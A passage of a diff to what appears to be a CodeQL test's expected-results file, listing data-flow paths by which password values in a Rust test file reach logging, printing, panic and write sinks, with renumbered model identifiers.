provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | | test_logging.rs:69:18:69:26 | &password | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:69:18:69:26 | &password [&ref] | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:69:19:69:26 | password | test_logging.rs:69:18:69:26 | &password | provenance | Config | | test_logging.rs:69:19:69:26 | password | test_logging.rs:69:18:69:26 | &password [&ref] | provenance | | -| test_logging.rs:73:23:73:46 | MacroExpr | test_logging.rs:73:5:73:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:73:23:73:46 | MacroExpr | test_logging.rs:73:5:73:47 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:73:39:73:46 | password | test_logging.rs:73:23:73:46 | MacroExpr | provenance | | -| test_logging.rs:75:41:75:64 | MacroExpr | test_logging.rs:75:5:75:65 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:75:41:75:64 | MacroExpr | test_logging.rs:75:5:75:65 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:75:57:75:64 | password | test_logging.rs:75:41:75:64 | MacroExpr | provenance | | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | | test_logging.rs:76:20:76:28 | &password | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:76:20:76:28 | &password [&ref] | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:76:21:76:28 | password | test_logging.rs:76:20:76:28 | &password | provenance | Config | | test_logging.rs:76:21:76:28 | password | test_logging.rs:76:20:76:28 | &password [&ref] | provenance | | -| test_logging.rs:77:23:77:46 | MacroExpr | test_logging.rs:77:5:77:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:77:23:77:46 | MacroExpr | test_logging.rs:77:5:77:47 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:77:39:77:46 | password | test_logging.rs:77:23:77:46 | MacroExpr | provenance | | -| test_logging.rs:83:20:83:43 | MacroExpr | test_logging.rs:83:5:83:44 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:83:20:83:43 | MacroExpr | test_logging.rs:83:5:83:44 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:83:36:83:43 | password | test_logging.rs:83:20:83:43 | MacroExpr | provenance | | -| test_logging.rs:85:38:85:61 | MacroExpr | test_logging.rs:85:5:85:62 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:85:38:85:61 | MacroExpr | test_logging.rs:85:5:85:62 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:85:54:85:61 | password | test_logging.rs:85:38:85:61 | MacroExpr | provenance | | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 Sink:MaD:14 | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:14 Sink:MaD:14 Sink:MaD:14 | | test_logging.rs:86:20:86:28 | &password | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:86:20:86:28 | &password [&ref] | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:86:21:86:28 | password | test_logging.rs:86:20:86:28 | &password | provenance | Config | | test_logging.rs:86:21:86:28 | password | test_logging.rs:86:20:86:28 | &password [&ref] | provenance | | -| test_logging.rs:87:20:87:43 | MacroExpr | test_logging.rs:87:5:87:44 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:87:20:87:43 | MacroExpr | test_logging.rs:87:5:87:44 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:87:36:87:43 | password | test_logging.rs:87:20:87:43 | MacroExpr | provenance | | | test_logging.rs:94:9:94:10 | m1 | test_logging.rs:95:11:95:28 | MacroExpr | provenance | | | test_logging.rs:94:14:94:22 | &password | test_logging.rs:94:9:94:10 | m1 | provenance | | | test_logging.rs:94:15:94:22 | password | test_logging.rs:94:14:94:22 | &password | provenance | Config | -| test_logging.rs:95:11:95:28 | MacroExpr | test_logging.rs:95:5:95:29 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:95:11:95:28 | MacroExpr | test_logging.rs:95:5:95:29 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:97:9:97:10 | m2 | test_logging.rs:98:11:98:18 | MacroExpr | provenance | | | test_logging.rs:97:41:97:49 | &password | test_logging.rs:97:9:97:10 | m2 | provenance | | | test_logging.rs:97:42:97:49 | password | test_logging.rs:97:41:97:49 | &password | provenance | Config | -| test_logging.rs:98:11:98:18 | MacroExpr | test_logging.rs:98:5:98:19 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:98:11:98:18 | MacroExpr | test_logging.rs:98:5:98:19 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:100:9:100:10 | m3 | test_logging.rs:101:11:101:18 | MacroExpr | provenance | | | test_logging.rs:100:14:100:46 | res | test_logging.rs:100:22:100:45 | { ... } | provenance | | | test_logging.rs:100:22:100:45 | ...::format(...) | test_logging.rs:100:14:100:46 | res | provenance | | | test_logging.rs:100:22:100:45 | ...::must_use(...) | test_logging.rs:100:9:100:10 | m3 | provenance | | -| test_logging.rs:100:22:100:45 | MacroExpr | test_logging.rs:100:22:100:45 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:100:22:100:45 | { ... } | test_logging.rs:100:22:100:45 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:100:22:100:45 | MacroExpr | test_logging.rs:100:22:100:45 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:100:22:100:45 | { ... } | test_logging.rs:100:22:100:45 | ...::must_use(...) | provenance | MaD:18 | | test_logging.rs:100:38:100:45 | password | test_logging.rs:100:22:100:45 | MacroExpr | provenance | | -| test_logging.rs:101:11:101:18 | MacroExpr | test_logging.rs:101:5:101:19 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:119:12:119:41 | MacroExpr | test_logging.rs:119:5:119:42 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:101:11:101:18 | MacroExpr | test_logging.rs:101:5:101:19 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:119:12:119:41 | MacroExpr | test_logging.rs:119:5:119:42 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:119:28:119:41 | get_password(...) | test_logging.rs:119:12:119:41 | MacroExpr | provenance | | | test_logging.rs:130:9:130:10 | t1 [tuple.1] | test_logging.rs:132:28:132:29 | t1 [tuple.1] | provenance | | | test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | test_logging.rs:130:9:130:10 | t1 [tuple.1] | provenance | | | test_logging.rs:130:25:130:32 | password | test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | provenance | | -| test_logging.rs:132:12:132:31 | MacroExpr | test_logging.rs:132:5:132:32 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:132:12:132:31 | MacroExpr | test_logging.rs:132:5:132:32 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:132:28:132:29 | t1 [tuple.1] | test_logging.rs:132:28:132:31 | t1.1 | provenance | | | test_logging.rs:132:28:132:31 | t1.1 | test_logging.rs:132:12:132:31 | MacroExpr | provenance | | -| test_logging.rs:139:11:139:37 | MacroExpr | test_logging.rs:139:5:139:38 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:139:11:139:37 | MacroExpr | test_logging.rs:139:5:139:38 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:139:27:139:37 | s1.password | test_logging.rs:139:11:139:37 | MacroExpr | provenance | | -| test_logging.rs:146:11:146:37 | MacroExpr | test_logging.rs:146:5:146:38 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:146:11:146:37 | MacroExpr | test_logging.rs:146:5:146:38 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:146:27:146:37 | s2.password | test_logging.rs:146:11:146:37 | MacroExpr | provenance | | -| test_logging.rs:171:33:171:79 | &... | test_logging.rs:171:22:171:31 | log_expect | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:171:33:171:79 | &... [&ref] | test_logging.rs:171:22:171:31 | log_expect | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:171:33:171:79 | &... | test_logging.rs:171:22:171:31 | log_expect | provenance | MaD:10 Sink:MaD:10 | +| test_logging.rs:171:33:171:79 | &... [&ref] | test_logging.rs:171:22:171:31 | log_expect | provenance | MaD:10 Sink:MaD:10 | | test_logging.rs:171:34:171:79 | MacroExpr | test_logging.rs:171:33:171:79 | &... | provenance | Config | | test_logging.rs:171:34:171:79 | MacroExpr | test_logging.rs:171:33:171:79 | &... [&ref] | provenance | | | test_logging.rs:171:34:171:79 | res | test_logging.rs:171:42:171:78 | { ... } | provenance | | | test_logging.rs:171:42:171:78 | ...::format(...) | test_logging.rs:171:34:171:79 | res | provenance | | | test_logging.rs:171:42:171:78 | ...::must_use(...) | test_logging.rs:171:34:171:79 | MacroExpr | provenance | | -| test_logging.rs:171:42:171:78 | MacroExpr | test_logging.rs:171:42:171:78 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:171:42:171:78 | { ... } | test_logging.rs:171:42:171:78 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:171:42:171:78 | MacroExpr | test_logging.rs:171:42:171:78 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:171:42:171:78 | { ... } | test_logging.rs:171:42:171:78 | ...::must_use(...) | provenance | MaD:18 | | test_logging.rs:171:70:171:78 | password2 | test_logging.rs:171:42:171:78 | MacroExpr | provenance | | -| test_logging.rs:175:35:175:81 | &... | test_logging.rs:175:24:175:33 | log_expect | provenance | MaD:10 Sink:MaD:10 | -| test_logging.rs:175:35:175:81 | &... [&ref] | test_logging.rs:175:24:175:33 | log_expect | provenance | MaD:10 Sink:MaD:10 | +| test_logging.rs:175:35:175:81 | &... | test_logging.rs:175:24:175:33 | log_expect | provenance | MaD:11 Sink:MaD:11 | +| test_logging.rs:175:35:175:81 | &... [&ref] | test_logging.rs:175:24:175:33 | log_expect | provenance | MaD:11 Sink:MaD:11 | | test_logging.rs:175:36:175:81 | MacroExpr | test_logging.rs:175:35:175:81 | &... | provenance | Config | | test_logging.rs:175:36:175:81 | MacroExpr | test_logging.rs:175:35:175:81 | &... [&ref] | provenance | | | test_logging.rs:175:36:175:81 | res | test_logging.rs:175:44:175:80 | { ... } | provenance | | | test_logging.rs:175:44:175:80 | ...::format(...) | test_logging.rs:175:36:175:81 | res | provenance | | | test_logging.rs:175:44:175:80 | ...::must_use(...) | test_logging.rs:175:36:175:81 | MacroExpr | provenance | | -| test_logging.rs:175:44:175:80 | MacroExpr | test_logging.rs:175:44:175:80 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:175:44:175:80 | { ... } | test_logging.rs:175:44:175:80 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:175:44:175:80 | MacroExpr | test_logging.rs:175:44:175:80 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:175:44:175:80 | { ... } | test_logging.rs:175:44:175:80 | ...::must_use(...) | provenance | MaD:18 | | test_logging.rs:175:72:175:80 | password2 | test_logging.rs:175:44:175:80 | MacroExpr | provenance | | | test_logging.rs:182:9:182:19 | err_result3 [Err] | test_logging.rs:183:13:183:23 | err_result3 [Err] | provenance | | | test_logging.rs:182:47:182:60 | Err(...) [Err] | test_logging.rs:182:9:182:19 | err_result3 [Err] | provenance | | | test_logging.rs:182:51:182:59 | password2 | test_logging.rs:182:47:182:60 | Err(...) [Err] | provenance | | -| test_logging.rs:183:13:183:23 | err_result3 [Err] | test_logging.rs:183:25:183:34 | log_unwrap | provenance | MaD:11 Sink:MaD:11 | -| test_logging.rs:187:12:187:37 | MacroExpr | test_logging.rs:187:5:187:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | +| test_logging.rs:183:13:183:23 | err_result3 [Err] | test_logging.rs:183:25:183:34 | log_unwrap | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:187:12:187:37 | MacroExpr | test_logging.rs:187:5:187:38 | ...::_print | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:187:30:187:37 | password | test_logging.rs:187:12:187:37 | MacroExpr | provenance | | -| test_logging.rs:188:14:188:37 | MacroExpr | test_logging.rs:188:5:188:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | +| test_logging.rs:188:14:188:37 | MacroExpr | test_logging.rs:188:5:188:38 | ...::_print | provenance | MaD:9 Sink:MaD:9 | | test_logging.rs:188:30:188:37 | password | test_logging.rs:188:14:188:37 | MacroExpr | provenance | | -| test_logging.rs:189:13:189:38 | MacroExpr | test_logging.rs:189:5:189:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | +| test_logging.rs:189:13:189:38 | MacroExpr | test_logging.rs:189:5:189:39 | ...::_eprint | provenance | MaD:8 Sink:MaD:8 | | test_logging.rs:189:31:189:38 | password | test_logging.rs:189:13:189:38 | MacroExpr | provenance | | -| test_logging.rs:190:15:190:38 | MacroExpr | test_logging.rs:190:5:190:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | +| test_logging.rs:190:15:190:38 | MacroExpr | test_logging.rs:190:5:190:39 | ...::_eprint | provenance | MaD:8 Sink:MaD:8 | | test_logging.rs:190:31:190:38 | password | test_logging.rs:190:15:190:38 | MacroExpr | provenance | | -| test_logging.rs:193:23:193:46 | MacroExpr | test_logging.rs:193:16:193:47 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:193:23:193:46 | MacroExpr | test_logging.rs:193:16:193:47 | ...::panic_fmt | provenance | MaD:4 Sink:MaD:4 | | test_logging.rs:193:39:193:46 | password | test_logging.rs:193:23:193:46 | MacroExpr | provenance | | -| test_logging.rs:194:22:194:45 | MacroExpr | test_logging.rs:194:16:194:46 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:194:22:194:45 | MacroExpr | test_logging.rs:194:16:194:46 | ...::panic_fmt | provenance | MaD:4 Sink:MaD:4 | | test_logging.rs:194:38:194:45 | password | test_logging.rs:194:22:194:45 | MacroExpr | provenance | | -| test_logging.rs:195:31:195:54 | MacroExpr | test_logging.rs:195:16:195:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:195:31:195:54 | MacroExpr | test_logging.rs:195:16:195:55 | ...::panic_fmt | provenance | MaD:4 Sink:MaD:4 | | test_logging.rs:195:47:195:54 | password | test_logging.rs:195:31:195:54 | MacroExpr | provenance | | -| test_logging.rs:196:29:196:52 | MacroExpr | test_logging.rs:196:16:196:53 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:196:29:196:52 | MacroExpr | test_logging.rs:196:16:196:53 | ...::panic_fmt | provenance | MaD:4 Sink:MaD:4 | | test_logging.rs:196:45:196:52 | password | test_logging.rs:196:29:196:52 | MacroExpr | provenance | | -| test_logging.rs:197:31:197:54 | MacroExpr | test_logging.rs:197:16:197:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:197:31:197:54 | MacroExpr | test_logging.rs:197:16:197:55 | ...::panic_fmt | provenance | MaD:4 Sink:MaD:4 | | test_logging.rs:197:47:197:54 | password | test_logging.rs:197:31:197:54 | MacroExpr | provenance | | -| test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | test_logging.rs:198:16:198:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:198:16:198:57 | ...::assert_failed [Some] | test_logging.rs:198:16:198:57 | ...::assert_failed | provenance | Sink:MaD:3 | +| test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | test_logging.rs:198:16:198:57 | ...::assert_failed | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | test_logging.rs:198:16:198:57 | ...::assert_failed [Some] | provenance | MaD:2 | | test_logging.rs:198:33:198:56 | MacroExpr | test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | provenance | | | test_logging.rs:198:49:198:56 | password | test_logging.rs:198:33:198:56 | MacroExpr | provenance | | -| test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | test_logging.rs:199:16:199:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:199:16:199:57 | ...::assert_failed [Some] | test_logging.rs:199:16:199:57 | ...::assert_failed | provenance | Sink:MaD:3 | +| test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | test_logging.rs:199:16:199:57 | ...::assert_failed | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | test_logging.rs:199:16:199:57 | ...::assert_failed [Some] | provenance | MaD:2 | | test_logging.rs:199:33:199:56 | MacroExpr | test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | provenance | | | test_logging.rs:199:49:199:56 | password | test_logging.rs:199:33:199:56 | MacroExpr | provenance | | -| test_logging.rs:200:37:200:60 | MacroExpr | test_logging.rs:200:16:200:61 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:200:37:200:60 | MacroExpr | test_logging.rs:200:16:200:61 | ...::panic_fmt | provenance | MaD:4 Sink:MaD:4 | | test_logging.rs:200:53:200:60 | password | test_logging.rs:200:37:200:60 | MacroExpr | provenance | | -| test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | test_logging.rs:201:16:201:63 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:201:16:201:63 | ...::assert_failed [Some] | test_logging.rs:201:16:201:63 | ...::assert_failed | provenance | Sink:MaD:3 | +| test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | test_logging.rs:201:16:201:63 | ...::assert_failed | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | test_logging.rs:201:16:201:63 | ...::assert_failed [Some] | provenance | MaD:2 | | test_logging.rs:201:39:201:62 | MacroExpr | test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | provenance | | | test_logging.rs:201:55:201:62 | password | test_logging.rs:201:39:201:62 | MacroExpr | provenance | | -| test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | test_logging.rs:202:17:202:64 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:202:17:202:64 | ...::assert_failed [Some] | test_logging.rs:202:17:202:64 | ...::assert_failed | provenance | Sink:MaD:3 | +| test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | test_logging.rs:202:17:202:64 | ...::assert_failed | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | test_logging.rs:202:17:202:64 | ...::assert_failed [Some] | provenance | MaD:2 | | test_logging.rs:202:40:202:63 | MacroExpr | test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | provenance | | | test_logging.rs:202:56:202:63 | password | test_logging.rs:202:40:202:63 | MacroExpr | provenance | | | test_logging.rs:203:34:203:66 | res | test_logging.rs:203:42:203:65 | { ... } | provenance | | | test_logging.rs:203:34:203:75 | ... .as_str() | test_logging.rs:203:27:203:32 | expect | provenance | MaD:1 Sink:MaD:1 | +| test_logging.rs:203:34:203:75 | ... .as_str() | test_logging.rs:203:27:203:32 | expect | provenance | MaD:1 Sink:MaD:1 | | test_logging.rs:203:42:203:65 | ...::format(...) | test_logging.rs:203:34:203:66 | res | provenance | | -| test_logging.rs:203:42:203:65 | ...::must_use(...) | test_logging.rs:203:34:203:75 | ... .as_str() | provenance | MaD:15 | -| test_logging.rs:203:42:203:65 | MacroExpr | test_logging.rs:203:42:203:65 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:203:42:203:65 | { ... } | test_logging.rs:203:42:203:65 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:203:42:203:65 | ...::must_use(...) | test_logging.rs:203:34:203:75 | ... .as_str() | provenance | MaD:16 | +| test_logging.rs:203:42:203:65 | MacroExpr | test_logging.rs:203:42:203:65 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:203:42:203:65 | { ... } | test_logging.rs:203:42:203:65 | ...::must_use(...) | provenance | MaD:18 | | test_logging.rs:203:58:203:65 | password | test_logging.rs:203:42:203:65 | MacroExpr | provenance | | | test_logging.rs:209:36:209:70 | res | test_logging.rs:209:44:209:69 | { ... } | provenance | | -| test_logging.rs:209:36:209:81 | ... .as_bytes() | test_logging.rs:209:30:209:34 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:209:36:209:81 | ... .as_bytes() | test_logging.rs:209:30:209:34 | write | provenance | MaD:6 Sink:MaD:6 | | test_logging.rs:209:44:209:69 | ...::format(...) | test_logging.rs:209:36:209:70 | res | provenance | | -| test_logging.rs:209:44:209:69 | ...::must_use(...) | test_logging.rs:209:36:209:81 | ... .as_bytes() | provenance | MaD:14 | -| test_logging.rs:209:44:209:69 | MacroExpr | test_logging.rs:209:44:209:69 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:209:44:209:69 | { ... } | test_logging.rs:209:44:209:69 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:209:44:209:69 | ...::must_use(...) | test_logging.rs:209:36:209:81 | ... .as_bytes() | provenance | MaD:15 | +| test_logging.rs:209:44:209:69 | MacroExpr | test_logging.rs:209:44:209:69 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:209:44:209:69 | { ... } | test_logging.rs:209:44:209:69 | ...::must_use(...) | provenance | MaD:18 | | test_logging.rs:209:62:209:69 | password | test_logging.rs:209:44:209:69 | MacroExpr | provenance | | | test_logging.rs:210:40:210:74 | res | test_logging.rs:210:48:210:73 | { ... } | provenance | | -| test_logging.rs:210:40:210:85 | ... .as_bytes() | test_logging.rs:210:30:210:38 | write_all | provenance | MaD:6 Sink:MaD:6 | +| test_logging.rs:210:40:210:85 | ... .as_bytes() | test_logging.rs:210:30:210:38 | write_all | provenance | MaD:7 Sink:MaD:7 | | test_logging.rs:210:48:210:73 | ...::format(...) | test_logging.rs:210:40:210:74 | res | provenance | | -| test_logging.rs:210:48:210:73 | ...::must_use(...) | test_logging.rs:210:40:210:85 | ... .as_bytes() | provenance | MaD:14 | -| test_logging.rs:210:48:210:73 | MacroExpr | test_logging.rs:210:48:210:73 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:210:48:210:73 | { ... } | test_logging.rs:210:48:210:73 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:210:48:210:73 | ...::must_use(...) | test_logging.rs:210:40:210:85 | ... .as_bytes() | provenance | MaD:15 | +| test_logging.rs:210:48:210:73 | MacroExpr | test_logging.rs:210:48:210:73 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:210:48:210:73 | { ... } | test_logging.rs:210:48:210:73 | ...::must_use(...) | provenance | MaD:18 | | test_logging.rs:210:66:210:73 | password | test_logging.rs:210:48:210:73 | MacroExpr | provenance | | | test_logging.rs:213:15:213:49 | res | test_logging.rs:213:23:213:48 | { ... } | provenance | | -| test_logging.rs:213:15:213:60 | ... .as_bytes() | test_logging.rs:213:9:213:13 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:213:15:213:60 | ... .as_bytes() | test_logging.rs:213:9:213:13 | write | provenance | MaD:6 Sink:MaD:6 | | test_logging.rs:213:23:213:48 | ...::format(...) | test_logging.rs:213:15:213:49 | res | provenance | | -| test_logging.rs:213:23:213:48 | ...::must_use(...) | test_logging.rs:213:15:213:60 | ... .as_bytes() | provenance | MaD:14 | -| test_logging.rs:213:23:213:48 | MacroExpr | test_logging.rs:213:23:213:48 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:213:23:213:48 | { ... } | test_logging.rs:213:23:213:48 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:213:23:213:48 | ...::must_use(...) | test_logging.rs:213:15:213:60 | ... .as_bytes() | provenance | MaD:15 | +| test_logging.rs:213:23:213:48 | MacroExpr | test_logging.rs:213:23:213:48 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:213:23:213:48 | { ... } | test_logging.rs:213:23:213:48 | ...::must_use(...) | provenance | MaD:18 | | test_logging.rs:213:41:213:48 | password | test_logging.rs:213:23:213:48 | MacroExpr | provenance | | | test_logging.rs:216:15:216:49 | res | test_logging.rs:216:23:216:48 | { ... } | provenance | | -| test_logging.rs:216:15:216:60 | ... .as_bytes() | test_logging.rs:216:9:216:13 | write | provenance | MaD:4 Sink:MaD:4 | +| test_logging.rs:216:15:216:60 | ... .as_bytes() | test_logging.rs:216:9:216:13 | write | provenance | MaD:5 Sink:MaD:5 | | test_logging.rs:216:23:216:48 | ...::format(...) | test_logging.rs:216:15:216:49 | res | provenance | | -| test_logging.rs:216:23:216:48 | ...::must_use(...) | test_logging.rs:216:15:216:60 | ... .as_bytes() | provenance | MaD:14 | -| test_logging.rs:216:23:216:48 | MacroExpr | test_logging.rs:216:23:216:48 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:216:23:216:48 | { ... } | test_logging.rs:216:23:216:48 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:216:23:216:48 | ...::must_use(...) | test_logging.rs:216:15:216:60 | ... .as_bytes() | provenance | MaD:15 | +| test_logging.rs:216:23:216:48 | MacroExpr | test_logging.rs:216:23:216:48 | ...::format(...) | provenance | MaD:17 | +| test_logging.rs:216:23:216:48 | { ... } | test_logging.rs:216:23:216:48 | ...::must_use(...) | provenance | MaD:18 | | test_logging.rs:216:41:216:48 | password | test_logging.rs:216:23:216:48 | MacroExpr | provenance | | models | 1 | Sink: lang:core; ::expect; log-injection; Argument[0] | -| 2 | Sink: lang:core; crate::panicking::assert_failed; log-injection; Argument[3].Field[crate::option::Option::Some(0)] | -| 3 | Sink: lang:core; crate::panicking::panic_fmt; log-injection; Argument[0] | -| 4 | Sink: lang:std; ::write; log-injection; Argument[0] | -| 5 | Sink: lang:std; ::write; log-injection; Argument[0] | -| 6 | Sink: lang:std; ::write_all; log-injection; Argument[0] | -| 7 | Sink: lang:std; crate::io::stdio::_eprint; log-injection; Argument[0] | -| 8 | Sink: lang:std; crate::io::stdio::_print; log-injection; Argument[0] | -| 9 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; 